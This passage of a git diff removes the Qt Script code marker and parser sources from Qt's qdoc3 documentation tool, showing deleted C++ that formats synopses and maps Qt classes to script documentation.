-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  qscodemarker.cpp
-*/
-
-#include "node.h"
-#include "qscodemarker.h"
-
-QT_BEGIN_NAMESPACE
-
-QsCodeMarker::QsCodeMarker()
-{
-}
-
-QsCodeMarker::~QsCodeMarker()
-{
-}
-
-bool QsCodeMarker::recognizeCode( const QString& /* code */ )
-{
-    return true;
-}
-
-bool QsCodeMarker::recognizeExtension( const QString& ext )
-{
-    return ext == "js" || ext == "qs";
-}
-
-bool QsCodeMarker::recognizeLanguage( const QString& lang )
-{
-    return lang == "JavaScript" || lang == "Qt Script";
-}
-
-QString QsCodeMarker::plainName( const Node *node )
-{
-    QString name = node->name();
-    if ( node->type() == Node::Function )
-	name += "()";
-    return name;
-}
-
-QString QsCodeMarker::plainFullName( const Node *node, const Node * /* relative */ )
-{
-    QString fullName;
-    for ( ;; ) {
-	fullName.prepend( plainName(node) );
-	if ( node->parent()->name().isEmpty() )
-	    break;
-	node = node->parent();
-	fullName.prepend(".");
-    }
-    return fullName;
-}
-
-QString QsCodeMarker::markedUpCode( const QString& code,
-				    const Node * /* relative */,
-				    const QString& /* dirPath */ )
-{
-    return protect( code );
-}
-
-QString QsCodeMarker::markedUpSynopsis( const Node *node,
-					const Node * /* relative */,
-					SynopsisStyle style )
-{
-    QString synopsis;
-    QStringList extras;
-    QString name;
-
-    name = taggedNode( node );
-    if ( style != Detailed )
-        name = linkTag( node, name );
-    name = "<@name>" + name + "</@name>";
-
-    if ( style == Detailed && !node->parent()->name().isEmpty() &&
-	 node->type() != Node::Enum )
-	name.prepend( taggedNode(node->parent()) + "." );
-
-    switch ( node->type() ) {
-    case Node::Class:
-        synopsis = "class " + name;
-        break;
-    case Node::Function:
-	{
-            const FunctionNode *func = (const FunctionNode *) node;
-
-	    synopsis = name;
-
-	    if ( style == SeparateList ) {
-		synopsis += "()";
-	    } else {
-		synopsis += " (";
-        	if ( !func->parameters().isEmpty() ) {
-        	    synopsis += " ";
-		    int numOptional = 0;
-        	    QList<Parameter>::ConstIterator p = func->parameters().begin();
-        	    while ( p != func->parameters().end() ) {
-			if ( !(*p).defaultValue().isEmpty() ) {
-			    if ( p == func->parameters().begin() ) {
-				synopsis += "[ ";
-			    } else {
-				synopsis += " [ , ";
-			    }
-			    numOptional++;
-			} else {
-                	    if ( p != func->parameters().begin() )
-                		synopsis += ", ";
-			}
-			if ( !(*p).name().isEmpty() )
-			    synopsis += "<@param>" + protect( (*p).name() ) +
-					"</@param> : ";
-			synopsis += protect( (*p).leftType() );
-                	++p;
-        	    }
-		    for ( int i = 0; i < numOptional; i++ )
-			synopsis += " ]";
-        	    synopsis += " ";
-        	}
-		synopsis += ")";
-	    }
-
-	    if ( style != SeparateList && !func->returnType().isEmpty() )
-		synopsis += " : " + protect( func->returnType() );
-
-            if ( style == Detailed && func->metaness() == FunctionNode::Signal )
-		extras << "[signal]";
-	}
-        break;
-    case Node::Property:
-	{
-            const PropertyNode *property = (const PropertyNode *) node;
-
-	    synopsis = name;
-	    if ( style != SeparateList )
-		synopsis += " : " + property->dataType();
-	    if ( style == Detailed && property->setters().isEmpty() )
-		extras << "[read only]";
-	}
-        break;
-    case Node::Enum:
-	{
-	    /*
-	      The letters A to F and X (upper- and lower-case) can
-	      appear in a hexadecimal constant (e.g. 0x3F).
-	    */
-	    QRegExp letterRegExp( "[G-WYZg-wyz_]" );
-	    const EnumNode *enume = (const EnumNode *) node;
-
-	    synopsis = name;
-	    if ( style == Summary && !enume->items().isEmpty() ) {
-		synopsis += " : ";
-		QString comma;
-		QList<EnumItem>::ConstIterator it = enume->items().begin();
-		while ( it != enume->items().end() ) {
-		    if ( enume->itemAccess((*it).name()) == Node::Public ) {
-			synopsis += comma;
-			synopsis += (*it).name();
-			if ( (*it).value().indexOf(letterRegExp) != -1 )
-			    synopsis += " = " + (*it).value();
-			comma = ", ";
-		    }
-		    ++it;
-		}
-	    }
-	}
-	break;
-    case Node::Namespace:
-    case Node::Typedef:
-    default:
-        synopsis = name;
-    }
-
-    if ( style == Summary ) {
-        if ( node->status() == Node::Preliminary ) {
-            extras << "(preliminary)";
-        } else if ( node->status() == Node::Deprecated ) {
-            extras << "(deprecated)";
-        } else if ( node->status() == Node::Obsolete ) {
-            extras << "(obsolete)";
-        }
-    }
-
-    QString extra;
-    if ( !extras.isEmpty() )
-        extra = "<@extra>" + extras.join(" ") + "</@extra>";
-    return synopsis + extra;
-}
-
-QString QsCodeMarker::markedUpName( const Node *node )
-{
-    QString name = linkTag( node, taggedNode(node) );
-    if ( node->type() == Node::Function )
-	name += "()";
-    return name;
-}
-
-QString QsCodeMarker::markedUpFullName( const Node *node,
-					const Node * /* relative */ )
-{
-    QString fullName;
-    for ( ;; ) {
-	fullName.prepend( markedUpName(node) );
-	if ( node->parent()->name().isEmpty() )
-	    break;
-	node = node->parent();
-	fullName.prepend( "<@op>.</@op>" );
-    }
-    return fullName;
-}
-
-QString QsCodeMarker::markedUpEnumValue(const QString & /* enumValue */,
-                                        const Node * /* relative */)
-{
-    return QString();
-}
-
-QString QsCodeMarker::markedUpIncludes( const QStringList& /* includes */ )
-{
-    return QString();
-}
-
-QString QsCodeMarker::functionBeginRegExp( const QString& funcName )
-{
-    return "^function[ \t].*\\b" + QRegExp::escape( funcName );
-}
-
-QString QsCodeMarker::functionEndRegExp( const QString& /* funcName */ )
-{
-    return "^}";
-}
-
-QList<Section> QsCodeMarker::sections( const InnerNode *inner, SynopsisStyle style, Status status )
-{
-    QList<Section> sections;
-
-    if (inner->type() != Node::Class)
-        return sections;
-
-    const ClassNode *classe = static_cast<const ClassNode *>(inner);
-
-    if ( style == Summary ) {
-	FastSection enums(classe, "Enums", "", "enum", "enums");
-	FastSection functions(classe, "Functions", "", "function", "functions");
-	FastSection readOnlyProperties(classe, "", "Read-Only Properties", "property", "properties");
-	FastSection signalz(classe, "Signals", "", "signal", "signals");
-	FastSection writableProperties(classe, "", "Writable Properties", "property", "properties");
-
-	QStack<const ClassNode *> stack;
-	stack.push( classe );
-
-	while ( !stack.isEmpty() ) {
-	    const ClassNode *ancestorClass = stack.pop();
-
-	    NodeList::ConstIterator c = ancestorClass->childNodes().begin();
-	    while ( c != ancestorClass->childNodes().end() ) {
-		if ( (*c)->access() == Node::Public ) {
-		    if ( (*c)->type() == Node::Enum ) {
-			insert( enums, *c, style, status );
-		    } else if ( (*c)->type() == Node::Function ) {
-			const FunctionNode *func = (const FunctionNode *) *c;
-			if ( func->metaness() == FunctionNode::Signal ) {
-			    insert( signalz, *c, style, status );
-			} else {
-			    insert( functions, *c, style, status );
-			}
-		    } else if ( (*c)->type() == Node::Property ) {
-			const PropertyNode *property =
-				(const PropertyNode *) *c;
-			if ( property->setters().isEmpty() ) {
-			    insert( readOnlyProperties, *c, style, status );
-			} else {
-			    insert( writableProperties, *c, style, status );
-			}
-		    }
-		}
-		++c;
-	    }
-
-	    QList<RelatedClass>::ConstIterator r = ancestorClass->baseClasses().begin();
-	    while ( r != ancestorClass->baseClasses().end() ) {
-		stack.prepend( (*r).node );
-		++r;
-	    }
-	}
-	append( sections, enums );
-	append( sections, writableProperties );
-	append( sections, readOnlyProperties );
-	append( sections, functions );
-	append( sections, signalz );
-    } else if ( style == Detailed ) {
-	FastSection enums( classe, "Enum Documentation", "", "member", "members");
-	FastSection functionsAndSignals( classe, "Function and Signal Documentation", "", "member", "members");
-	FastSection properties( classe, "Property Documentation", "", "member", "members");
-
-	NodeList::ConstIterator c = classe->childNodes().begin();
-	while ( c != classe->childNodes().end() ) {
-	    if ( (*c)->access() == Node::Public ) {
-		if ( (*c)->type() == Node::Enum ) {
-		    insert( enums, *c, style, status );
-		} else if ( (*c)->type() == Node::Function ) {
-		    insert( functionsAndSignals, *c, style, status );
-		} else if ( (*c)->type() == Node::Property ) {
-		    insert( properties, *c, style, status );
-		}
-	    }
-	    ++c;
-	}
-	append( sections, enums );
-	append( sections, properties );
-	append( sections, functionsAndSignals );
-    } else { // ( style == SeparateList )
-	FastSection all(classe, "", "", "member", "members");
-
-	QStack<const ClassNode *> stack;
-	stack.push( classe );
-
-	while ( !stack.isEmpty() ) {
-	    const ClassNode *ancestorClass = stack.pop();
-
-	    NodeList::ConstIterator c = ancestorClass->childNodes().begin();
-	    while ( c != ancestorClass->childNodes().end() ) {
-		if ( (*c)->access() == Node::Public )
-		    insert( all, *c, style, status );
-		++c;
-	    }
-
-	    QList<RelatedClass>::ConstIterator r = ancestorClass->baseClasses().begin();
-	    while ( r != ancestorClass->baseClasses().end() ) {
-		stack.prepend( (*r).node );
-		++r;
-	    }
-	}
-	append( sections, all );
-    }
-    return sections;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/qscodemarker.h b/tools/qdoc3/qscodemarker.h
deleted file mode 100644
index a52ea0c..0000000
--- a/tools/qdoc3/qscodemarker.h
+++ /dev/null
@@ -1,79 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  qscodemarker.h
-*/
-
-#ifndef QSCODEMARKER_H
-#define QSCODEMARKER_H
-
-#include "codemarker.h"
-
-QT_BEGIN_NAMESPACE
-
-class QsCodeMarker : public CodeMarker
-{
-public:
-    QsCodeMarker();
-    ~QsCodeMarker();
-
-    bool recognizeCode( const QString& code );
-    bool recognizeExtension( const QString& ext );
-    bool recognizeLanguage( const QString& lang );
-    QString plainName(const Node *node);
-    QString plainFullName(const Node *node, const Node *relative);
-    QString markedUpCode( const QString& code, const Node *relative,
-        		  const QString& dirPath );
-    QString markedUpSynopsis( const Node *node, const Node *relative,
-        		      SynopsisStyle style );
-    QString markedUpName( const Node *node );
-    QString markedUpFullName( const Node *node, const Node *relative );
-    QString markedUpEnumValue(const QString &enumValue, const Node *relative);
-    QString markedUpIncludes( const QStringList& includes );
-    QList<Section> sections(const InnerNode *innerNode, SynopsisStyle style, Status status);
-    QString functionBeginRegExp( const QString& funcName );
-    QString functionEndRegExp( const QString& funcName );
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/qscodeparser.cpp b/tools/qdoc3/qscodeparser.cpp
deleted file mode 100644
index 65d0f97..0000000
--- a/tools/qdoc3/qscodeparser.cpp
+++ /dev/null
@@ -1,944 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
-  qscodeparser.cpp
-*/
-
-#include <qfile.h>
-#include <qregexp.h>
-
-#include "config.h"
-#include "qscodeparser.h"
-#include "text.h"
-#include "tokenizer.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-#define CONFIG_QUICK                    "quick"
-#define CONFIG_REPLACES                 "replaces"
-
-#define COMMAND_BRIEF                   Doc::alias( "brief")
-#define COMMAND_CODE                    Doc::alias( "code")
-#define COMMAND_ENDCODE                 Doc::alias( "endcode")
-#define COMMAND_ENDQUICKCODE            Doc::alias( "endquickcode")
-#define COMMAND_FILE                    Doc::alias( "file")
-#define COMMAND_GROUP                   Doc::alias( "group")
-#define COMMAND_MODULE                  Doc::alias( "module")
-#define COMMAND_PAGE                    Doc::alias( "page")
-#define COMMAND_QUICKCLASS              Doc::alias( "quickclass")
-#define COMMAND_QUICKCODE               Doc::alias( "quickcode")
-#define COMMAND_QUICKENUM               Doc::alias( "quickenum")
-#define COMMAND_QUICKFN                 Doc::alias( "quickfn")
-#define COMMAND_QUICKIFY                Doc::alias( "quickify")
-#define COMMAND_QUICKPROPERTY           Doc::alias( "quickproperty")
-#define COMMAND_PROTECTED               Doc::alias( "protected")
-#define COMMAND_REPLACE                 Doc::alias( "replace")
-
-static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*";
-
-QsCodeParser::QsCodeParser(Tree *cppTree)
-    : cppTre(cppTree), qsTre(0), replaceRegExp("/(.+)/([^/]*)/")
-{
-}
-
-QsCodeParser::~QsCodeParser()
-{
-}
-
-void QsCodeParser::initializeParser(const Config& config)
-{
-    CppCodeParser::initializeParser(config);
-
-    nodeTypeMap.insert(COMMAND_QUICKCLASS, Node::Class);
-    nodeTypeMap.insert(COMMAND_QUICKENUM, Node::Enum);
-    nodeTypeMap.insert(COMMAND_QUICKPROPERTY, Node::Property);
-    nodeTypeMap.insert(COMMAND_QUICKFN, Node::Function);
-
-    QString quickDotReplaces = CONFIG_QUICK + Config::dot + CONFIG_REPLACES;
-    QStringList replaces = config.getStringList(quickDotReplaces);
-    QStringList::ConstIterator r = replaces.begin();
-    while (r != replaces.end()) {
-	if (replaceRegExp.exactMatch(*r)) {
-	    QRegExp before(replaceRegExp.cap(1));
-	    before.setMinimal(true);
-	    QString after = replaceRegExp.cap(2);
-
-	    if (before.isValid()) {
-		replaceBefores << before;
-		replaceAfters << after;
-	    }
-            else {
-		config.lastLocation().warning(
-			tr("Invalid regular expression '%1'")
-			.arg(before.pattern()));
-	    }
-	}
-        else {
-	    config.lastLocation().warning(tr("Bad syntax in '%1'")
-					   .arg(quickDotReplaces));
-	}
-	++r;
-    }
-}
-
-void QsCodeParser::terminateParser()
-{
-    nodeTypeMap.clear();
-    classesWithNoQuickDoc.clear();
-    replaceBefores.clear();
-    replaceAfters.clear();
-    CppCodeParser::terminateParser();
-}
-
-QString QsCodeParser::language()
-{
-    return "Qt Script";
-}
-
-QString QsCodeParser::headerFileNameFilter()
-{
-    return "*";
-}
-
-QString QsCodeParser::sourceFileNameFilter()
-{
-    return "*.qs *.qsd";
-}
-
-void QsCodeParser::parseHeaderFile(const Location& location,
-                                   const QString& filePath,
-                                   Tree *tree)
-{
-    qsTre = tree;
-
-    QFile in(filePath);
-    if (!in.open(QIODevice::ReadOnly)) {
-	location.error(tr("Cannot open Qt Script class list '%1'")
-			.arg(filePath));
-	return;
-    }
-
-    Location fileLocation(filePath);
-    Tokenizer fileTokenizer(fileLocation, in);
-    int tok = fileTokenizer.getToken();
-    while (tok != Tok_Eoi) {
-	if (tok == Tok_Ident) {
-	    ClassNode *quickClass = new ClassNode(qsTre->root(),
-						   fileTokenizer.lexeme());
-	    quickClass->setLocation(fileTokenizer.location());
-	}
-        else {
-	    fileTokenizer.location().error(tr("Unexpected token '%1' in Qt"
-					       " Script class list")
-					    .arg(fileTokenizer.lexeme()));
-	    break;
-	}
-	tok = fileTokenizer.getToken();
-    }
-    in.close();
-}
-
-void QsCodeParser::parseSourceFile(const Location& location,
-                                   const QString& filePath,
-                                   Tree *tree)
-{
-    qsTre = tree;
-    CppCodeParser::parseSourceFile(location, filePath, tree);
-}
-
-void QsCodeParser::doneParsingHeaderFiles(Tree *tree)
-{
-    NodeList::ConstIterator c = tree->root()->childNodes().begin();
-    while (c != tree->root()->childNodes().end()) {
-	if ((*c)->type() == Node::Class)
-	    quickifyClass((ClassNode *) *c);
-	++c;
-    }
-    cppTre->root()->deleteChildren(); // save memory
-    tree->resolveInheritance();
-    tree->resolveProperties();
-}
-
-void QsCodeParser::doneParsingSourceFiles(Tree *tree)
-{
-    tree->root()->normalizeOverloads();
-
-    NodeList::ConstIterator c = tree->root()->childNodes().begin();
-    while (c != tree->root()->childNodes().end()) {
-	if ((*c)->type() == Node::Class) {
-	    QMap<QString, Node *>::ConstIterator cwnqd =
-		    classesWithNoQuickDoc.find((*c)->name());
-	    if (cwnqd != classesWithNoQuickDoc.end()) {
-		(*cwnqd)->location().warning(tr("No '\\%1' documentation for"
-						 " class '%2'")
-					      .arg(COMMAND_QUICKCLASS)
-					      .arg(cwnqd.key()));
-		(*cwnqd)->setDoc(Doc(), true);
-	    }
-	}
-	++c;
-    }
-
-    // ### check which enum types are used
-}
-
-FunctionNode *QsCodeParser::findFunctionNode(const QString& synopsis,
-					      Tree *tree)
-{
-    QStringList parentPath;
-    FunctionNode *clone;
-    FunctionNode *func = 0;
-
-    if (makeFunctionNode(synopsis, &parentPath, &clone)) {
-	func = tree->findFunctionNode(parentPath, clone);
-	delete clone;
-    }
-    return func;
-}
-
-QSet<QString> QsCodeParser::topicCommands()
-{
-    return QSet<QString>() << COMMAND_FILE << COMMAND_GROUP << COMMAND_MODULE
-			   << COMMAND_PAGE << COMMAND_QUICKCLASS
-			   << COMMAND_QUICKENUM << COMMAND_QUICKFN
-			   << COMMAND_QUICKPROPERTY;
-}
-
-Node *QsCodeParser::processTopicCommand(const Doc& doc,
-                                        const QString& command,
-                                        const QString& arg)
-{
-    if (command == COMMAND_QUICKFN) {
-	QStringList parentPath;
-	FunctionNode *quickFunc = 0;
-	FunctionNode *clone;
-
-	if (makeFunctionNode(arg, &parentPath, &clone)) {
-	    FunctionNode *kernelFunc = findKernelFunction(parentPath,
-							   clone->name());
-	    if (kernelFunc != 0)
-		kernelFunc->setAccess(Node::Private);
-
-	    quickFunc = qsTre->findFunctionNode(parentPath, clone);
-	    if (quickFunc == 0 && kernelFunc != 0) {
-		quickFunc = new FunctionNode(kernelFunc->parent(),
-					      kernelFunc->name());
-		quickFunc->setLocation(kernelFunc->location());
-		quickFunc->setReturnType(clone->returnType());
-		quickFunc->setParameters(clone->parameters());
-	    }
-
-	    if (quickFunc == 0) {
-		doc.location().warning(tr("Cannot find '%1' specified with '\\%2'")
-					.arg(arg).arg(command));
-	    }
-            else {
-		quickFunc->setAccess(Node::Public);
-		QStringList qtParams = quickFunc->parameterNames();
-		quickFunc->borrowParameterNames(clone);
-		QStringList quickParams = quickFunc->parameterNames();
-		setQuickDoc(quickFunc, doc, qtParams, quickParams);
-	    }
-	    delete clone;
-	}
-        else {
-	    doc.location().warning(tr("Cannot find '%1' specified with '\\%2'")
-				    .arg(arg).arg(command));
-	}
-	return 0;
-    }
-    else if (nodeTypeMap.contains(command)) {
-	QStringList subArgs = arg.split(" ");
-	QString dataType;
-
-	if (subArgs.count() == 3 && subArgs[1] == ":") {
-	    dataType = subArgs[2];
-	}
-        else if (subArgs.count() != 1) {
-	    doc.location().warning(tr("Invalid syntax in '\\%1'")
-				    .arg(command));
-	}
-
-	QStringList path = subArgs[0].split(".");
-	Node *quickNode = qsTre->findNode(path, nodeTypeMap[command]);
-	if (quickNode == 0) {
-	    doc.location().warning(tr("Cannot find '%1' specified with '\\%2'")
-				    .arg(arg).arg(command));
-	}
-        else {
-	    setQuickDoc(quickNode, doc);
-	    if (quickNode->type() == Node::Class) {
-		classesWithNoQuickDoc.remove(quickNode->name());
-		if (doc.briefText().isEmpty())
-		    doc.location().warning(tr("Missing '\\%1' for class '%2'")
-					    .arg(COMMAND_BRIEF)
-					    .arg(quickNode->name()));
-	    }
-            else if (quickNode->type() == Node::Property) {
-		PropertyNode *quickProperty = (PropertyNode *) quickNode;
-		if (quickProperty->dataType() == "Object") {
-		    if (dataType.isEmpty()) {
-			doc.location().warning(tr("Missing data type in '\\%1'"
-						   " (assuming 'Object')")
-						.arg(command));
-		    }
-                    else {
-			quickProperty->setDataType(dataType);
-		    }
-		}
-                else if (dataType != quickProperty->dataType()) {
-		    doc.location().warning(tr("Ignored contradictory data type"
-					       " in '\\%1'")
-					    .arg(command));
-		}
-	    }
-	}
-	return 0;
-    }
-    else {
-	return CppCodeParser::processTopicCommand(doc, command, arg);
-    }
-}
-
-QSet<QString> QsCodeParser::otherMetaCommands()
-{
-    return commonMetaCommands() << COMMAND_ENDQUICKCODE << COMMAND_QUICKCODE
-				<< COMMAND_QUICKIFY << COMMAND_REPLACE;
-}
-
-void QsCodeParser::processOtherMetaCommand(const Doc& doc,
-                                           const QString& command,
-                                           const QString& arg,
-                                           Node *node)
-{
-    if (command == COMMAND_PROTECTED) {
-	doc.location().warning(tr("Cannot use '\\%1' in %2")
-				.arg(COMMAND_PROTECTED).arg(language()));
-    }
-    else {
-	CppCodeParser::processOtherMetaCommand(doc,command,arg,node);
-    }
-}
-
-ClassNode *QsCodeParser::tryClass(const QString& className)
-{
-    return (ClassNode*) cppTre->findNode(QStringList(className),Node::Class);
-}
-
-FunctionNode *QsCodeParser::findKernelFunction(const QStringList& parentPath,
-                                               const QString& name)
-{
-    FunctionNode clone(0, name);
-    clone.setReturnType("Object");
-    clone.addParameter(Parameter("..."));
-    return qsTre->findFunctionNode(parentPath, &clone);
-}
-
-void QsCodeParser::extractRegExp(const QRegExp& regExp,
-                                 QString& source,
-                                 const Doc& doc)
-{
-    QRegExp blankLineRegExp(
-	    "[ \t]*(?:\n(?:[ \t]*\n)+[ \t]*|[ \n\t]*\\\\code|"
-	    "\\\\endcode[ \n\t]*)");
-    QStringList paras = source.trimmed().split(blankLineRegExp);
-    paras = paras.filter(regExp);
-    if (paras.count() == 0) {
-	doc.location().warning(tr("Cannot find regular expression '%1'")
-				.arg(regExp.pattern()));
-    }
-    else if (paras.count() > 1) {
-	doc.location().warning(tr("Regular rexpression '%1' matches multiple"
-				   "times").arg(regExp.pattern()));
-    }
-    else {
-	source = paras.first() + "\n\n";
-    }
-}
-
-void QsCodeParser::extractTarget(const QString& target,
-                                 QString& source,
-                                 const Doc& doc)
-{
-    QRegExp targetRegExp(
-	    "(\\\\target\\s+(\\S+)[^\n]*\n"
-	    "(?:(?!\\s*\\\\code)[^\n]+\n|\\s*\\\\code.*\\\\endcode\\s*\n)*)"
-	    "(?:\\s*\n|[^\n]*$)");
-    targetRegExp.setMinimal(true);
-
-    int pos = 0;
-    while ((pos = source.indexOf(targetRegExp, pos)) != -1) {
-	if (targetRegExp.cap(2) == target) {
-	    source = targetRegExp.cap(1) + "\n\n";
-	    return;
-	}
-	pos += targetRegExp.matchedLength();
-    }
-    doc.location().warning(tr("Cannot find target '%1'").arg(target));
-}
-
-void QsCodeParser::renameParameters(QString& source,
-                                    const Doc& /* doc */,
-                                    const QStringList& qtParams,
-                                    const QStringList& quickParams)
-{
-    QRegExp paramRegExp("(\\\\a\\s*\\{?\\s*)([A-Za-z0-9_]+)");
-
-    int pos = 0;
-    while ((pos = paramRegExp.indexIn(source, pos)) != -1) {
-	pos += paramRegExp.cap(1).length();
-	QString before = paramRegExp.cap(2);
-	int index = qtParams.indexOf(before);
-	if (index != -1) {
-	    QString after = quickParams[index];
-	    source.replace(pos, before.size(), after);
-	}
-    }
-}
-
-void QsCodeParser::applyReplacementList(QString& source, const Doc& doc)
-{
-    QStringList args = doc.metaCommandArgs(COMMAND_REPLACE);
-    QStringList::ConstIterator a = args.begin();
-    while (a != args.end()) {
-	if (replaceRegExp.exactMatch(*a)) {
-	    QRegExp before(replaceRegExp.cap(1));
-	    before.setMinimal(true);
-	    QString after = replaceRegExp.cap(2);
-
-	    if (before.isValid()) {
-		int oldLen = source.size();
-		source.replace(before, after);
-
-		// this condition is sufficient but not necessary
-		if (oldLen == source.size() && !source.contains(after))
-		    doc.location().warning(
-			    tr("Regular expression '%1' did not match anything")
-			    .arg(before.pattern()));
-	    }
-            else {
-		doc.location().warning(
-			tr("Invalid regular expression '%1'")
-			.arg(before.pattern()));
-	    }
-	}
-        else {
-	    doc.location().warning(tr("Bad syntax in '\\%1'")
-				    .arg(COMMAND_REPLACE));
-	}
-	++a;
-    }
-
-    QRegExp codeRegExp("\\\\" + COMMAND_CODE + "(.*)\\\\" + COMMAND_ENDCODE);
-    codeRegExp.setMinimal(true);
-
-    QRegExp quickcodeRegExp(
-	    "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + COMMAND_ENDQUICKCODE);
-    quickcodeRegExp.setMinimal(true);
-
-    int quickcodePos = doc.source().indexOf(quickcodeRegExp);
-    if (quickcodePos != -1) {
-	int codePos = source.indexOf(codeRegExp);
-	if (codePos == -1) {
-	    doc.location().warning(
-		    tr("Cannot find any '\\%1' snippet corresponding to '\\%2'")
-		    .arg(COMMAND_CODE).arg(COMMAND_QUICKCODE));
-	}
-        else {
-	    source.replace(codeRegExp.pos(1), codeRegExp.cap(1).length(),
-			    quickcodeRegExp.cap(1));
-	    codePos = codeRegExp.pos(1) + quickcodeRegExp.cap(1).length();
-
-	    if (doc.source().indexOf(quickcodeRegExp, quickcodePos + 1) != -1) {
-		doc.location().warning(
-			tr("Cannot use '\\%1' twice in a row")
-			.arg(COMMAND_QUICKCODE));
-	    }
-            else if (source.indexOf(codeRegExp, codePos + 1) != -1) {
-		doc.location().warning(tr("Ambiguous '\\%1'")
-					.arg(COMMAND_QUICKCODE));
-	    }
-	}
-    }
-}
-
-void QsCodeParser::quickifyClass(ClassNode *quickClass)
-{
-    QString qtClassName = quickClass->name();
-    QString bare = quickClass->name();
-    if (bare != "Qt" && bare != "Object") {
-	if (bare.startsWith("Q")) {
-	    bare = bare.mid(1);
-	}
-        else {
-	    qtClassName.prepend("Q");
-	    classesWithNoQ.insert(bare);
-	}
-    }
-
-    ClassNode *qtClass = 0;
-    ClassNode *wrapperClass = 0;
-
-    if ((wrapperClass = tryClass("Quick" + bare)) != 0 ||
-	 (wrapperClass = tryClass("QS" + bare + "Class")) != 0) {
-	qtClass = tryClass(qtClassName);
-	if (qtClass == 0) {
-	    qtClass = wrapperClass;
-	    wrapperClass = 0;
-	}
-    }
-    else if ((wrapperClass = tryClass("Quick" + bare + "Ptr")) != 0) {
-	QRegExp ptrToQtType("(Q[A-Za-z0-9_]+)\\s*\\*");
-	FunctionNode *ctor =
-		wrapperClass->findFunctionNode(wrapperClass->name());
-	if (ctor != 0 && !ctor->parameters().isEmpty() &&
-	     ptrToQtType.exactMatch(ctor->parameters().first().leftType()))
-	    qtClassName = ptrToQtType.cap(1);
-	qtClass = tryClass(qtClassName);
-    }
-    else {
-	wrapperClass = tryClass("Q" + bare + "Ptr");
-	if (wrapperClass == 0)
-	    wrapperClass = tryClass("Quick" + bare + "Interface");
-	qtClass = tryClass(qtClassName);
-    }
-
-    if (qtClass == 0) {
-	if (wrapperClass == 0) {
-	    quickClass->location().warning(tr("Cannot find Qt class '%1'")
-					    .arg(qtClassName));
-	}
-        else {
-	    quickClass->location().warning(tr("Cannot find Qt class '%1'"
-					       " wrapped by '%2'")
-					    .arg(qtClassName)
-					    .arg(wrapperClass->name()));
-	}
-	return;
-    }
-
-    QList<RelatedClass>::ConstIterator r = qtClass->baseClasses().begin();
-    while (r != qtClass->baseClasses().end()) {
-	ClassNode *quickBaseClass = cpp2qs.findClassNode(qsTre,
-                                                         (*r).node->name());
-	if (quickBaseClass)
-	    quickClass->addBaseClass((*r).access, quickBaseClass);
-	++r;
-    }
-    if (quickClass->baseClasses().isEmpty() && quickClass->name() != "Object")
-	quickClass->addBaseClass(Node::Public,
-                                 cpp2qs.findClassNode(qsTre,"Object"));
-
-    QSet<QString> funcBlackList;
-    QSet<QString> propertyBlackList;
-
-    NodeList children;
-    if (wrapperClass != 0) {
-	children = wrapperClass->childNodes();
-
-	funcBlackList.insert(wrapperClass->name());
-	funcBlackList.insert("~" + wrapperClass->name());
-    }
-    children += qtClass->childNodes();
-
-    for (int pass = 0; pass < 2; pass++) {
-	NodeList::ConstIterator c = children.begin();
-	while (c != children.end()) {
-	    if ((*c)->access() != Node::Private &&
-		 (*c)->status() == Node::Commendable) {
-		if (pass == 0) {
-		    if ((*c)->type() == Node::Enum) {
-			EnumNode *enume = (EnumNode *) *c;
-			quickifyEnum(quickClass, enume);
-		    }
-                    else if ((*c)->type() == Node::Property) {
-			if (!propertyBlackList.contains((*c)->name())) {
-			    PropertyNode *property = (PropertyNode *) *c;
-			    quickifyProperty(quickClass, qtClass, property);
-			    if (!property->getters().isEmpty())
-				funcBlackList.insert(property->getters().first()->name());
-			    if (!property->setters().isEmpty())
-				funcBlackList.insert(property->setters().first()->name());
-			    if (!property->resetters().isEmpty())
-				funcBlackList.insert(property->resetters().first()->name());
-			    propertyBlackList.insert(property->name());
-			}
-		    }
-		}
